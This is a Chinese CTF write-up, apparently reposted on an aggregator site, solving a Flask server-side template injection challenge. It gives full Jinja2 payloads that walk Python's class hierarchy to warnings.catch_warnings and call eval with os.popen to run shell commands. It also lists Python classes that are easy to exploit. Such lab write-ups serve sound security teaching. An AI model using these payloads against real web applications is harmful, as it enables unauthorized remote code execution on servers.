【Real】[Flask]SSTI

文章目录

  • 前言
  • 一、题目解读
  • 二、解题过程
  • 三、知识点
    • Flask是什么
    • SSTI是什么
    • SSTI是如何形成的
    • 易于利用的类
    • payload是什么
  • 探索类型和类层次结构和方法


前言

温馨提示:看到哪里不懂直接跳到知识点部分,理解完再回到解题过程。

一、题目解读

在这里插入图片描述

题目是[Flask]SSTI提示已经很清晰了。

在Flask上进行SSTI注入

二、解题过程

先简单逛一逛在这里插入图片描述
好朴素…

因为咱们已经知道用SSTI了,所以我们直接测试一下SSTL漏洞
输入{{6*6}},如果返回36,说明存在SSTI漏洞。

{{6*6}}

在这里插入图片描述

好了我们已经知道有这个漏洞了,下面咱们想想如何进行注入如何找到flag呢?
第一步肯定是信息搜集,利用__class____bases____subclasses__()在Python中进行类型和类层次结构的探索。

{{%27%27.__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述

查看源码就可以看到我们查到的这些类

在这里插入图片描述

找到了一个关键类warnings.catch_warnings

在这里插入图片描述

下面我们确定一下他的位置直接用索引函数

{{ ''.__class__.__mro__[1].__subclasses__().index(warnings.catch_warnings) }}

在这里插入图片描述

出现500内部服务器错误说明直接使用索引函数的方式在模板引擎中可能不被支持。那咱们只能一点一点排查了。

先从100~200试一试

{{ ''.__class__.__mro__[1].__subclasses__()[100:200] }}

ctrl+f可以直接在网页中搜索warnings.catch_warnings

在这里插入图片描述

搜到了,说明范围在100~200.根据下面的进度条再次缩小范围。尝试150 ~ 170.

{{ ''.__class__.__mro__[1].__subclasses__()[150:170] }}

最终确定是166
在这里插入图片描述
接下来咱们构造payload

列出上一级目录文件看看有没有flag

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("ls ../").read()')}}
''.__class__:'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。[166]:这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。.__init__.__globals__:获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。['eval']:从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。'__import__("os").popen("ls ../").read()':eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen("ls ../") 执行 ls ../ 命令,并读取其输出。

在这里插入图片描述

好吧没有flag

var里面看看

在这里插入图片描述
没有…

看看home和root

在这里插入图片描述
在这里插入图片描述
打扰了…

去环境变量里碰碰运气

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}
''.__class__:'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。[166]:这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。.__init__.__globals__:获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。.__builtins__['eval']:从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。"__import__('os').popen('ls /').read()":eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen('ls /') 执行 ls / 命令,并读取其输出。

在这里插入图片描述

小小flag,拿下!

三、知识点

Flask是什么

Flask 是一个用 Python 编写的轻量级 Web 应用框架。它的设计理念是尽量保持简单和灵活,适合小型应用和微服务架构。Flask 提供了基本的功能,如路由、模板引擎和请求处理等,但没有强制性的项目结构或组件,开发者可以根据需要选择扩展功能。Flask 常用于快速开发和原型设计,因为它的学习曲线相对较低,且与其他 Python 库兼容性好。

SSTI是什么

SSTI(Server-Side Template Injection)是指在服务器端模板引擎中注入恶意代码的漏洞。模板引擎用于将模板与数据结合生成动态HTML内容。如果用户输入未正确过滤或转义,攻击者可以插入恶意代码,导致任意代码执行或敏感数据泄露。常见的受影响模板引擎包括Jinja2(Python)、Thymeleaf(Java)、Twig(PHP)等。通过SSTI,攻击者可以获取服务器权限,窃取数据或进行进一步的攻击。

SSTI是如何形成的

SSTI(服务器端模板注入)形成的原因主要是由于模板引擎在处理用户输入时没有正确地进行过滤和转义。这使得攻击者可以通过插入恶意模板代码来执行任意服务器端代码。典型的形成步骤包括:

  • 用户输入被直接嵌入模板中。
  • 模板引擎解析并执行输入的模板代码。
  • 如果输入未经过适当的安全处理,攻击者可以插入并执行任意代码。

易于利用的类

在Flask模板注入(SSTI)中,有一些Python类和对象是易于利用的,因为它们提供了对底层系统和环境的直接访问。

1. os 模块:可以用来执行系统命令。
2. subprocess 模块:可以创建子进程并执行系统命令。
4. builtins 模块:包含所有内置函数和异常,可以通过全局命名空间访问。
5. eval 和 exec:可以执行字符串形式的Python代码。
6. 文件读取:如 file 模块中的 read 方法,用于读取文件内容。
7. 命令执行:如 warnings.catch_warnings 和 socket._socketobject,可以通过导入 os 模块执行系统命令,包括 system、popen 和 listdir。
8. 闪现信息:如 get_flashed_messages(),用于获取闪现信息。

payload是什么

payload" 是指用于执行特定攻击的代码或数据。在服务器端模板注入(SSTI)中,payload 是嵌入到模板中的恶意代码,用于执行任意命令或读取敏感信息。

payload通过利用Python的内部机制,实现了任意代码执行和文件读取。

探索类型和类层次结构和方法

  • __class__:获取对象的类。例如,'hello'.__class__ 返回 <class 'str'>
  • __bases__:获取类的基类(超类)。例如,str.__bases__ 返回 ( <class 'object'>,),表示 str 类直接继承自 object 类。
  • __subclasses__():获取一个类的所有子类。例如,object.__subclasses__()
    返回所有直接或间接继承自 object 类的子类。

在Python中,__class____bases____subclasses__() 是探索类型和类层次结构的重要属性和方法,这些属性和方法可以用于动态地探索和操控Python的类型层次结构,特别是在安全研究和漏洞利用中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/843589.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用Docker快速运行Firefox并实现远程访问本地火狐浏览器

文章目录 1. 部署Firefox2. 本地访问Firefox3. Linux安装Cpolar4. 配置Firefox公网地址5. 远程访问Firefox6. 固定Firefox公网地址7. 固定地址访问Firefox Firefox是一款免费开源的网页浏览器&#xff0c;由Mozilla基金会开发和维护。它是第一个成功挑战微软Internet Explorer浏…

如何给鸿蒙 APP 签名

生成签名证书指纹 在DevEco Studio工具侧生成密钥&#xff08;.p12&#xff09;和证书请求文件&#xff08;.csr&#xff09;。请根据以下使用场景&#xff0c;在AppGallery Connect侧申请应用证书&#xff08;.cer&#xff09;、Profile&#xff08;.p7b&#xff09;文件等。…

【Linux学习】进程间通信 (3) —— System V (1)

下面是有关进程通信中 System V 的相关介绍&#xff0c;希望对你有所帮助&#xff01; 小海编程心语录-CSDN博客 目录 1. System V IPC 1. 消息队列 msg 消息队列的使用方法 1.1 消息队列的创建 1.2 向消息队列发送消息 1.3 从消息队列接收消息 1.4 使用msgctl函数显式地…

计算机笔记12(续20个)

190.指令寄存器&#xff1a;存放当前的指令 程序计数器&#xff1a;下一条要执行的指令内存地址 191.IEEE802标准中&#xff1a;802.3规定了CSMA/CD访问控制方法和物理层技术规范 802.2规定了逻辑链路控制LLC 802.1B规定了寻址、网间互连和网络管理 802.1A规定了体系结构 19…

南京移动为“2024横山徒步大会”公共安全保驾护航

近年来&#xff0c;公共安全事件因伤害性大、波及人数多而引起公众的高度重视。江苏移动南京分公司充分履行企业社会责任&#xff0c;积极发挥移动5G、低空网络技术优势&#xff0c;为“2024横山徒步大会”提供网络保障、安全巡检及应急物资运输服务&#xff0c;建立起一道公共…

科技查新是什么?一文了解!

本文主要解答 1、什么是科技查新&#xff1f; 2、科技查新有哪些作用&#xff1f; 3、科技查新一般应用于什么地方&#xff1f; 4、在哪能出具正规查新报告&#xff1f; 5、科技查新流程是怎样的&#xff1f; 带着这些问题阅读这篇文章相信一定会有收获&#xff01;干活内…

【启程Golang之旅】运算符与流程控制讲解

欢迎来到Golang的世界&#xff01;在当今快节奏的软件开发领域&#xff0c;选择一种高效、简洁的编程语言至关重要。而在这方面&#xff0c;Golang&#xff08;又称Go&#xff09;无疑是一个备受瞩目的选择。在本文中&#xff0c;带领您探索Golang的世界&#xff0c;一步步地了…

实验题目:克鲁斯卡尔(Kruskal)算法生成最小生成树(MST)原理及算法实现

一、实验目的 本实验旨在理解和掌握克鲁斯卡尔(Kruskal)算法的基本原理,并通过编程实现该算法,以求解给定无向加权图的最小生成树。通过本实验,能够加深对最小生成树概念的理解,并提升编程能力。 二、实验原理 克鲁斯卡尔算法是一种求解最小生成树的贪心算法。其基本原理…

如何让UE4.26使用VS2022【Windows,源码下载】

使用UE5一直用的是VS2022&#xff0c;都是因为团队需要&#xff0c;只能用UE4&#xff0c;而我电脑中拥有的UE4的版本是UE4.26以及VS2022&#xff0c;我不可能去下载VS2019来为这么一个项目&#xff0c;所以就研究了一下是哪里阻止了UE4.26不让我使用VS2022. 首先下载UE4.26源码…

记一次安卓“Low on memory“崩溃问题

前言 最近再调人脸识别算法相关demo,发现调试期间总是偶发性崩溃&#xff0c;捕获不到异常的那种&#xff0c;看日志发现原因是Low on memory&#xff0c;一开始还疑惑 App内存不够应该是OOM啊,怎么会出现这种问题&#xff0c;百思不得其解&#xff0c;直到我打开了 Android s…

Vue2常用的组件通信方式有几种

Vue2 组件通信方式详解 父子组件通信&#xff08;Props&#xff09; 子父组件通信&#xff08;$emit&#xff09; 兄弟组件通信&#xff08;Event Bus&#xff09; Vuex 状态管理 Provide / Inject 1. 父子组件通信&#xff08;Props&#xff09; 定义&#xff1a; 通过在父组件…

在MySQL数据库中进行连接查询中的外连接查询

左外连接 特征&#xff1a;以左表为主&#xff0c;显示左表所有数据&#xff0c;相关联存在相同的值时显示对应数据&#xff0c;否则显示为NULL 语法&#xff1a;> select 表名.字段名称&#xff0c;表名.字段名称 from 表名 left join 表名 on 相关联的字段…

Linux java jni调用C++封装动态库

由于项目中java需要调用第三方提供的C动态库&#xff1b;由于第三方动态库传入的参数较多&#xff0c;还伴随着指针传入操作&#xff0c;导致java调用极为不便&#xff01;因此催生出对于第三方的C动态库进行二次封装。java调用只需按结构传入一个结构化的string即可。话不多说…

使用匿名labmda表达式对一个函数的参数是个函数类型的具体实现时的 双向回调数据 双向处理业务逻辑

双向回调数据 双向处理业务逻辑在android的应用场景就是:Activity界面的RecyclerView与Adapter双向的相互传递数据处理业务逻辑 class HigherOrderFunctionSuspendActivity : ComponentActivity() {override fun onCreate(savedInstanceState: Bundle?){//简化前 num表示参…

卧槽!这项目开源了!【送源码 】

随着科技的飞速发展&#xff0c;个人财务管理变得越来越重要。一个名为‘Maybe’的创新型个人财务与财富管理应用程序随之诞生&#xff0c;它以其丰富的功能和用户友好的界面受到了广大用户的关注。 现在项目方将这个价值 100万美元的个人理财应用项目开源了 Maybe Maybe应用…

Attention as an RNN

摘要 https://arxiv.org/pdf/2405.13956 Transformer的出现标志着序列建模领域的一个重大突破&#xff0c;它提供了一种高性能架构&#xff0c;能够充分利用GPU并行性。然而&#xff0c;Transformer在推理时计算成本高昂&#xff0c;限制了其应用&#xff0c;特别是在资源受限的…

吴恩达2022机器学习专项课程C2W2:2.19 sigmoid函数的替代方案 2.20如何选择激活函数 2.21 激活函数的重要性

这里写目录标题 引言sigmoid激活函数的局限1.回顾需求案例2.ReLU激活函数 常用的激活函数1.线性激活函数的解释 如何选择激活函数&#xff1f;1.选择输出层的激活函数2.选择隐藏层的激活函数 选择激活函数的总结1.输出层总结2.隐藏层总结3.TensorFlow设置激活函数 激活函数多样…

AI生成视频解决方案,降低成本,提高效率

传统的视频制作方式往往受限于高昂的成本、复杂的拍摄流程以及硬件设备的限制&#xff0c;为了解决这些问题&#xff0c;美摄科技凭借领先的AI技术&#xff0c;推出了全新的AI生成视频解决方案&#xff0c;为企业带来前所未有的视觉创新体验。 一、超越想象的AI视频生成 美摄…

大模型时代的具身智能系列专题(四)

google deepmind团队 谷歌旗下最大的两个 AI 研究机构——地处伦敦 DeepMind 与位于硅谷的 Google Brain 合并成立新部门 Google DeepMind。其将机器学习和系统神经科学的最先进技术结合起来&#xff0c;建立强大的通用学习算法。代表作有AlphaGo&#xff0c;AlphaStar&#x…

SpringBoot集成mongodb

引入maven依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-mongodb</artifactId></dependency>添加yaml配置 spring:data:mongodb:uri: mongodb://localhost:27017/novel创建实体类…